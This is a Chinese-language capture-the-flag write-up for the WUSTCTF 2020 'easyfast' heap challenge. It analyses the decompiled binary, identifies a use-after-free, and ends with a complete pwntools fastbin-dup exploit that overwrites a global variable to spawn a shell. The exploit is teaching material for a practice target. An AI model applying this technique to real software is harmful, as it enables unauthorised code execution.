Featured image of post [WUSTCTF 2020]easyfast wp

[WUSTCTF 2020]easyfast wp

字数: 1287

fastbins 的理解。

题面

Ubuntu 16.04,所以是 glibc 2.23

就提供了二进制文件,需要根据 ubuntu 16.04 来确定 libc 版本。

分析

checksec,没有 PIE。

1
2
3
4
5
6
7
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/WUSTCTF_2020-easyfast/service'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)

ida pro 静态分析,因为 stripped,所以我自己设了别名。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  sub_4008BF();
  vuln();
}

void __noreturn vuln()
{
  __int64 v0; // rax
  __int64 v1; // rdi
  __int64 v2; // rsi
  char s[8]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v4; // [rsp+8h] [rbp-18h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  *(_QWORD *)s = 0;
  v4 = 0;
  while ( 1 )
  {
    puts(s: "choice>");
    fgets(s, n: 8, stream: stdin);
    LODWORD(v0) = atoi(nptr: s);
    switch ( v0 )
    {
      case 1LL:
        add(a1: v1, a2: v2);
        break;
      case 2LL:
        del(a1: v1, a2: v2);
        break;
      case 3LL:
        edit(a1: v1, a2: v2);
        break;
      case 4LL:
        pwn(a1: v1, a2: v2);
        break;
      case 5LL:
        exit(status: 0);
      default:
        puts(s: "invalid");
        break;
    }
  }
}

笔记题。
add:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 add()
{
  int v0; // eax
  int v1; // ebx
  char s[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( count <= 3 )
  {
    puts(s: "size>");
    fgets(s, n: 8, stream: stdin);
    v0 = atoi(nptr: s);
    if ( v0 != 0 && (unsigned __int64)v0 <= 0x78 )
    {
      v1 = count++;
      *(&buf + v1) = malloc(size: v0);
    }
    else
    {
      puts(s: "No need");
    }
  }
  else
  {
    puts(s: "No need");
  }
  return __readfsqword(0x28u) ^ v4;
}

这里 count 最大只能是 3,也就是只有 4 次 add,最大不能超过 0x78,保存在 buf 数组里。

del():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned __int64 del()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(s: "index>");
  fgets(s, n: 8, stream: stdin);
  v1 = atoi(nptr: s);
  free(ptr: *(&buf + v1));
  return __readfsqword(0x28u) ^ v3;
}

这里就是 UAF 了。

edit():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
unsigned __int64 edit()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(s: "index>");
  fgets(s, n: 8, stream: stdin);
  v1 = atoi(nptr: s);
  read(fd: 0, buf: *(&buf + v1), nbytes: 8u);
  return __readfsqword(0x28u) ^ v3;
}

编辑,只能写 8 字节。

最重要的:

1
2
3
4
5
6
7
int pwn()
{
  if ( qword_602090 != 0 )
    return puts(s: "Not yet");
  else
    return system(command: "/bin/sh");
}

只需要把 0x602090 这块 8 字节变量设置为 0 就可以拿到 shell。

注意到在前面 0x602088 位置上 0x50。实际可以将其表示为一个 chunk:

1
2
3
4
5
struct chunk{
    prev_size = 0;
    size = 0x50;
    data = 1;
}

取出 fastbins

这里特别注意大小,还有 fastbins 指针的位置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
  {
    idx = fastbin_index (nb);
    mfastbinptr *fb = &fastbin (av, idx);
    mchunkptr pp = *fb;
    do
      {
        victim = pp;
        if (victim == NULL)
          break;
      }
    while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
           != victim);
    if (victim != 0)
      {
        if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
          {
            errstr = "malloc(): memory corruption (fast)";
          errout:
            malloc_printerr (check_action, errstr, chunk2mem (victim), av);
            return NULL;
          }
        check_remalloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim); // 计算用户数据区
        alloc_perturb (p, bytes);
        return p;
      }
  }

主要就是 fastbins 链表存的地址是 chunk 头,是在最后才算成用户数据区的地址。
而且对 chunk 大小 size 区有检查:

1
2
3
4
5
6
7
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";
  errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
  }

所以取这一块地址需要往前 0x10,也就是 0x602080。

利用

确定是 fastbin dup 之后就可以写 exp。

先把流程函数化:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def select(id: int):
    io.recvuntil(b"choice>")
    io.sendline(str(id).encode())


def add(size: int):
    """
    只有四次使用机会
    """
    select(1)
    io.recvuntil(b"size>")
    io.sendline(str(size).encode())


def free(idx: int):
    select(2)
    io.recvuntil(b"index>")
    io.sendline(str(idx).encode())


def edit(idx: int, contents):
    select(3)
    io.recvuntil(b"index>")
    io.sendline(str(idx).encode())
    io.send(contents)


def pwn():
    select(4)

def _debug():
    gdb.attach(io)

val_addr = 0x602080

要注意只有 4 次 add。
先 add 2 个 0x40 也就是 0x50 chunk。
因为 fastbins 在 glibc 的 double free 防护就防了 free 头节点,所以切换 free 即可:

1
2
3
4
5
add(0x40)
add(0x40)
free(0)
free(1)
free(0)

之后就成了 chunk 1 , chunk 0 的环绕。然后编辑 chunk 0 为目标地址:

1
edit(0, p64(val_addr))

此时 chunk 分布:

add 两次拿到 0x602080 之后写入 0 运行 pwn 即可。

1
2
3
4
add(0x40)
add(0x40)
edit(3, p64(0))
pwn()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

io = process("./service")

# io = remote("node5.anna.nssctf.cn", 26623)

context.log_level = "info"


def select(id: int):
    io.recvuntil(b"choice>")
    io.sendline(str(id).encode())


def add(size: int):
    """
    只有四次使用机会
    """
    select(1)
    io.recvuntil(b"size>")
    io.sendline(str(size).encode())


def free(idx: int):
    select(2)
    io.recvuntil(b"index>")
    io.sendline(str(idx).encode())


def edit(idx: int, contents):
    select(3)
    io.recvuntil(b"index>")
    io.sendline(str(idx).encode())
    io.send(contents)


def pwn():
    select(4)


def _debug():
    gdb.attach(io)


val_addr = 0x602080

add(0x40)
add(0x40)
free(0)
free(1)
free(0)
edit(0, p64(val_addr))
add(0x40)
add(0x40)
edit(3, p64(0))
pwn()


io.interactive()